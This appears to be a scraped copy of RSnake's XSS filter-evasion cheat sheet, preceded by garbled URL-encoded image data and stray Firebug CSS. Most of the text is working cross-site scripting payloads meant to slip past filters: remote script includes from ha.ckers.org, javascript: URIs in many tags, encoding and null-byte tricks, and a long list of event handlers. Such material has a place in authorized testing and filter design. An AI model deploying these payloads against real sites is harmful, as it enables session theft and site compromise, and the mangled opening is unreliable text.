CA%B0n%D1R%19*%A3%D3%CA%B0%97%A12T%86uKe%D0%EA%B02*%3F1%99%5DB%2B%A4%B5%F8%3A%7C%BA%2B%8Co%7D%5C%EDe%A8%0C%95a%DDR%19%B4T%C66%82fA%B2%ED%DA%9FC%FC%17GZ%06%C9%E1%B3%E5%2C%1A%9FoiB%EB%96%CA%A0%D5qe4%7B%7D%FD%85%F7%5B%ED_%E0s%07%F0k%951%ECr%0D%B5C%D7-g%D1%A8%0C%EB%96%CA%A0%A52T%C6)*%C3%5E%86%CAP%19%D6-%95A%EB*%95q%F8%BB%E3%F9%AB%F6%E21%ACZ%B7%22%B7%9B%3F%02%85%CB%A2%5B%B7%BA%5E%B7%9C%97%E1%BC%0C%EB%16-%95%A12z%AC%0C%BFc%A22T%86uKe%D0%EA%B02V%DD%AD%8A%2B%8CWhe%5E%AF%CF%F5%3B%26%CE%CBh%5C%19%CE%CB%B0%F3%A4%095%A1%CAP%19*Ce%A8%0C%3BO*Ce%A8%0C%95%A12%3A%AD%8C%0A%82%7B%F0v%1F%2FD%A9%5B%9F%EE%EA%26%AF%03%CA%DF9%7B%19*Ce%A8%0C%95%A12T%86%CA%B8Ze%D8%CBP%19*Ce%A8%0C%95%D1ae%EC%F7%89I%E1%B4%D7M%D7P%8BjU%5C%BB%3E%F2%20%D8%CBP%19*Ce%A8%0C%95%A12T%C6%D5*%C3%5E%86%CAP%19*Ce%B4O%07%7B%F0W%7Bw%1C%7C%1A%8C%B3%3B%D1%EE%AA%5C%D6-%EBV%83%80%5E%D0%CA%10%5CU%2BD%E07YU%86%CAP%19*%E3%9A%95%91%D9%A0%C8%AD%5B%EDv%9E%82%FFKOee%E4%8FUe%A8%0C%95%A12T%C6%1F%A9%8C%C8%3D%5B%A5%15%FD%14%22r%E7B%9F%17l%F8%BF%ED%EAf%2B%7F%CF%ECe%D8%CBP%19*Ce%A8%0C%95%E1%93~%7B%19%F62T%86%CAP%19*Ce%A8%0C%E7%13%DA%CBP%19*Ce%A8%0CZf%8B%16-Z%B4h%D1R%19f%8B%16-Z%B4h%D1R%19%B4%CC%16-Z%B4h%D1R%19%B4%CC%16-Z%B4h%D1%A2%A52%CC%16-Z%B4h%D1%A2%A52h%99-Z%B4h%D1%A2%A52h%99-Z%B4h%D1%A2EKe%98-Z%B4h%D1%A2EKe%D02%5B%B4h%D1%A2EKe%D02%5B%B4h%D1%A2E%8B%96%CA0%5B%B4h%D1%A2E%8B%96%CA%A0e%B6h%D1%A2E%8B%96%CA%A0e%B6h%D1%A2E%8B%16-%95a%B6h%D1%A2E%8B%16-%95A%CBl%D1%A2E%8B%16-%95A%CBl%D1%A2E%8B%16-Z*%C3l%D1%A2E%8B%16-Z*%83%96%D9%A2E%8B%16-Z*%83%96%D9%A2E%8B%16-Z%B4T%86%D9%A2E%8B%16-Z%B4T%06-%B3E%8B%16-Z%B4T%06-%B3E%8B%16-Z%B4h%A9%0C%B3E%8B%16-Z%B4h%A9%0CZf%8B%16-Z%B4h%A9%0CZf%8B%16-Z%B4h%D1R%19f%8B%16-Z%B4h%D1R%19%B4%CC%16-Z%B4h%D1R%19%B4%CC%16-Z%B4h%D1%A2%A52%CC%16-Z%B4h%D1%A2%A52h%99-Z%B4h%D1%A2%A52h%99-Z%B4h%D1%A2EKe%98-Z%B4h%D1%A2EKe%D02%5B%B4h%D1%A2EKe%D02%5B%B4h%D1%A2E%8B%96%CA0%5B%B4h%D1%A2E%8B%96%CA%A0e%B6h%D1%A2E%8B%96%CA%A0e%B6h%D1%A2E%8B%16-%95a%B6h%D1%A2E%8B%16-%95A%CBl%D1%A2E%8B%16-%95A%CBl%D1%A2E%8B%16-Z*%C3l%D1%A2E%8B%16-Z*%83%96%D9%A2E%8B%16-Z*%83%96%D9%A2E%8B%16-Z%B4T%86%D9%A2E%8B%16-Z%B4T%06-%B3E%8B%16-Z%B4T%06-%B3E%8B%16-Z%B4h%A9%0C%B3E%8B%16-Z%B4h%A9%0CZf%8B%16-Z%B4h%A9%0CZf%8B%16-Z%B4h%D1R%19f%8B%16-Z%B4h%D1R%19%B4%CC%16-Z%B4h%D1R%19%B4%CC%16-Z%B4h%D1%A2%A52%CC%16-Z%B4h%D1%A2%A52h%99-Z%B4h%D1%A2%A52h%99-Z%B4h%D1%A2EKe%98-Z%B4h%D1%A2EKe%D02%5B%B4h%D1%A2EKe%D02%5B%B4h%D1%A2E%8B%96%CA0%5B%B4h%D1%A2E%8B%96%CA%A0e%B6h%D1%A2E%8B%96%CA%A0e%B6h%D1%A2E%8B%16-%95a%B6h%D1%A2E%8B%16-%95A%CBl%D1%A2E%8B%16-%95A%CBl%D1%A2E%8B%16-Z*%C3l%D1%A2E%8B%16-Z*%83%96%D9%A2E%8B%16-Z*%83%96%D9%A2E%8B%16-Z%B4T%86%D9%A2E%8B%16-Z%B4T%06-%B3E%8B%16-Z%B4%AE%A4%F5%25%C0%00%DE%BF%5C'%0F%DA%B8q%00%00%00%00IEND%AEB%60%82") repeat-y !important; border-left: 1px solid #BBBBBB !important; border-right: 1px solid #000000 !important; border-bottom: 1px dashed #BBBBBB !important; } .overflowRulerX > .firebugRulerV { left: 0 !important; } .overflowRulerY > .firebugRulerH { top: 0 !important; } /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ .fbProxyElement { position: fixed !important; pointer-events: auto !important; }
+Esp: for filter evasion
+By
+RSnake
+Note from the author: XSS is Cross Site Scripting. If you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack. It will simply show the underlying methodology and you can infer the rest. Also, please note my XSS page has been replicated by the
+OWASP 2.0 Guide
+in the Appendix section with my permission. However, because this is a living document I suggest you continue to use this site to stay up to date.
+Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from
+Evolt
+. Please see the
+XML format of the XSS Cheat Sheet
+if you intend to use
+CAL9000
+or other automated tools. If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the
+forum
+:
+XSS (Cross Site Scripting):
+XSS locator
+. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use the
+URL encoding calculator
+below to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:
+';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
+Browser support: [
+IE7.0
+|
+IE6.0
+NS8.1-IE
+] [
+NS8.1-G
+FF2.0
+O9.02
+]
+XSS locator 2
+. If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:
+'';!--"<XSS>=&{()}
+No filter evasion
+. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):
+<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
+Image XSS
+using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well - I'll probably revise this at a later date):
+<IMG SRC="javascript:alert('XSS');">
+No quotes and no semicolon
+<IMG SRC=javascript:alert('XSS')>
+Case insensitive
+XSS attack vector:
+<IMG SRC=JaVaScRiPt:alert('XSS')>
+HTML entities
+(the semicolons are required for this to work):
+<IMG SRC=javascript:alert(&quot;XSS&quot;)>
+Grave accent
+obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents):
+<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
+Malformed IMG tags
+. Originally found by
+Begeek
+(but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:
+<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
+fromCharCode
+(if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need). Click
+here
+to build your own (thanks to Hannes Leopold):
+<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
+UTF-8 Unicode
+encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the
+XSS calculator
+for more information:
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
+Long UTF-8 Unicode
+encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):
+<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
+Hex encoding
+without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the
+<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
+Embedded tab
+to break up the cross site scripting attack:
+<IMG SRC="jav ascript:alert('XSS');">
+Embedded encoded tab
+to break up XSS:
+<IMG SRC="jav&#x09;ascript:alert('XSS');">
+Embeded newline
+to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the
+ascii chart
+for more details. The following four XSS examples illustrate this vector:
+<IMG SRC="jav&#x0A;ascript:alert('XSS');">
+Embedded carriage return
+to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
+<IMG SRC="jav&#x0D;ascript:alert('XSS');">
+Multiline
+Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:
+<IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " >
+Null
+breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like
+Burp Proxy
+or use %00 in the URL string or if you want to write your own injection tool you can either use
+vim
+(^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:
+perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
+breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date:
+perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
+Spaces and meta chars
+before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal):
+<IMG SRC=" &#14; javascript:alert('XSS');">
+Non-alpha-non-digit
+XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":
+<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+Non-alpha-non-digit part 2
+XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
+<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
+Non-alpha-non-digit part 3
+XSS.
+Yair Amit
+brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.
+<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+Extraneous open brackets
+. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like
+Boyer-Moore
+that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:
+<<SCRIPT>alert("XSS");//<</SCRIPT>
+No closing script tags
+. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:
+<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
+Protocol resolution in script tags
+. This particular variant was submitted by
+Åukasz Pilorz
+and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.
+<SCRIPT SRC=//ha.ckers.org/.j>
+Half open
+HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around
+the following NIDS regex
+: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:
+<IMG SRC="javascript:alert('XSS')"
+Double open
+angle brackets. This is an odd one that
+Steven Christey
+brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:
+<iframe src=http://ha.ckers.org/scriptlet.html <
+XSS with no single quotes or double quotes or semicolons
+<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>
+Escaping JavaScript escapes
+. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The
+uses this method.:
+\";alert('XSS');//
+End title tag
+. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:
+</TITLE><SCRIPT>alert("XSS");</SCRIPT>
+INPUT image
+<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
+BODY image
+<BODY BACKGROUND="javascript:alert('XSS')">
+BODY tag
+(I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack).
+Dan Crowley
+additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):
+<BODY ONLOAD=alert('XSS')>
+Event Handlers
+that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to
+Rene Ledosquet
+for the HTML+TIME updates:
+1. FSCommand() (attacker can use this when executed from within an embedded Flash object) 2. onAbort() (when user aborts the loading of an image) 3. onActivate() (when object is set as the active element) 4. onAfterPrint() (activates after user prints or previews print job) 5. onAfterUpdate() (activates on data object after updating data in the source object) 6. onBeforeActivate() (fires before the object is set as the active element) 7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy") function) 8. onBeforeCut() (attacker executes the attack string right before a selection is cut) 9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object) 10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) 11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) 12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function). 13. onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) 14. onBegin() (the onbegin event fires immediately when the element's timeline begins) 15. onBlur() (in the case where another popup is loaded and window looses focus) 16. onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) 17. onCellChange() (fires when data changes in the data provider) 18. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified) 19. onClick() (someone clicks on a form) 20. onContextMenu() (user would need to right click on attack area) 21. onControlSelect() (fires when the user is about to make a control selection of the object) 22. onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) 23. onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) 24. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function) 25. onDataSetChanged() (fires when the data set exposed by a data source object changes) 26. onDataSetComplete() (fires to indicate that all data is available from the data source object) 27. onDblClick() (user double-clicks a form element or a link) 28. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) 29. onDrag() (requires that the user drags an object) 30. onDragEnd() (requires that the user drags an object) 31. onDragLeave() (requires that the user drags an object off a valid location) 32. onDragEnter() (requires that the user drags an object into a valid location) 33. onDragOver() (requires that the user drags an object into a valid location) 34. onDragDrop() (user drops an object (e.g. file) onto the browser window) 35. onDrop() (user drops an object (e.g. file) onto the browser window) 36. onEnd() (the onEnd event fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) 37. onError() (loading of a document or image causes an error) 38. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) 39. onFilterChange() (fires when a visual filter completes state change) 40. onFinish() (attacker can create the exploit when marquee is finished looping) 41. onFocus() (attacker executes the attack string when the window gets focus) 42. onFocusIn() (attacker executes the attack string when window gets focus) 43. onFocusOut() (attacker executes the attack string when window looses focus) 44. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) 45. onKeyDown() (user depresses a key) 46. onKeyPress() (user presses or holds down a key) 47. onKeyUp() (user releases a key) 48. onLayoutComplete() (user would have to print or print preview) 49. onLoad() (attacker executes the attack string after the window loads) 50. onLoseCapture() (can be exploited by the releaseCapture() method) 51. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing) 52. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) 53. onMouseDown() (the attacker would need to get the user to click on an image) 54. onMouseEnter() (cursor moves over an object or area) 55. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) 56. onMouseMove() (the attacker would need to get the user to mouse over an image or table) 57. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) 58. onMouseOver() (cursor moves over an object or area) 59. onMouseUp() (the attacker would need to get the user to click on an image) 60. onMouseWheel() (the attacker would need to get the user to use their mouse wheel) 61. onMove() (user or attacker would move the page) 62. onMoveEnd() (user or attacker would move the page) 63. onMoveStart() (user or attacker would move the page) 64. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) 65. onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) 66. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element) 67. onProgress() (attacker would use this as a flash movie was loading) 68. onPropertyChange() (user or attacker would need to change an element property) 69. onReadyStateChange() (user or attacker would need to change an element property) 70. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle) 71. onReset() (user or attacker resets a form) 72. onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 73. onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 74. onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 75. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element) 76. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) 77. onRowsEnter() (user or attacker would need to change a row in a data source) 78. onRowExit() (user or attacker would need to change a row in a data source) 79. onRowDelete() (user or attacker would need to delete a row in a data source) 80. onRowInserted() (user or attacker would need to insert a row in a data source) 81. onScroll() (user would need to scroll, or attacker could use the scrollBy() function) 82. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward) 83. onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) 84. onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) 85. onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) 86. onStart() (fires at the beginning of each marquee loop) 87. onStop() (user would need to press the stop button or leave the webpage) 88. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) 89. onSubmit() (requires attacker or user submits a form) 90. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value) 91. onTrackChange() (user or attacker changes track in a playList) 92. onUnload() (as the user clicks any link or presses the back button or attacker forces a click) 93. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) 94. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
+IMG Dynsrc
+<IMG DYNSRC="javascript:alert('XSS')">
+IMG lowsrc
+<IMG LOWSRC="javascript:alert('XSS')">
+BGSOUND
+<BGSOUND SRC="javascript:alert('XSS');">
+& JavaScript includes
+(works in Netscape 4.x):
+<BR SIZE="&{alert('XSS')}">
+NS4
+LAYER
+(also only works in Netscape 4.x)
+<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
+STYLE sheet
+<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
+Remote style sheet
+(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
+<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
+Remote style sheet part 2
+(this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to
+hack Google Desktop
+. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:
+<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
+Remote style sheet part 3
+. This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to
+RFC2616
+setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:
+<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
+Remote style sheet part 4
+. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
+<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
+Local htc file
+. This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:
+<XSS STYLE="behavior: url(xss.htc);">
+List-style-image
+. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:
+<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
+VBscript
+in an image:
+<IMG SRC='vbscript:msgbox("XSS")'>
+Mocha
+(older versions of Netscape only):
+<IMG SRC="mocha:[code]">
+Livescript
+<IMG SRC="livescript:[code]">
+US-ASCII
+encoding (found by
+Kurt Huwig
+). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. I highly suggest anyone interested in alternate encoding issues look at
+my charsets issues
+page:
+¼script¾alert(¢XSS¢)¼/script¾
+META
+(the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):
+<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
+META using data: directive
+URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see
+RFC 2397
+for more details or go
+or
+to encode your own. You can also use the
+below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
+META with additional URL parameter
+. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by
+Moritz Naumann
+):
+<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
+IFRAME
+(if iframes are allowed there are a lot of other XSS problems as well):
+<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
+FRAME
+(frames have the same sorts of XSS problems as iframes):
+<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
+TABLE
+(who would have thought tables were XSS targets... except me, of course):
+<TABLE BACKGROUND="javascript:alert('XSS')">
+TD
+(just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):
+<TABLE><TD BACKGROUND="javascript:alert('XSS')">
+DIV background-image
+<DIV STYLE="background-image: url(javascript:alert('XSS'))">
+DIV background-image with unicoded XSS
+exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by
+Renaud Lifchitz
+as a vulnerability in Hotmail:
+<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
+DIV background-image plus extra characters
+. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
+<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
+DIV expression
+- a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
+<DIV STYLE="width: expression(alert('XSS'));">
+STYLE
+tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):
+<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
+STYLE attribute using a comment
+to break up expression (Thanks to
+Roman Ivanov
+for this one):
+<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
+Anonymous HTML with STYLE attribute
+(IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):
+<XSS STYLE="xss:expression(alert('XSS'))">
+IMG STYLE with expression
+(this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):
+exp/*<A STYLE='no\xss:noxss("*//*"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
+STYLE tag
+(Older versions of Netscape only):
+<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
+STYLE tag using background-image
+<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
+STYLE tag using background
+<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
+Downlevel-Hidden
+block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:
+<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->
+BASE
+tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):
+<BASE HREF="javascript:alert('XSS');//">
+OBJECT
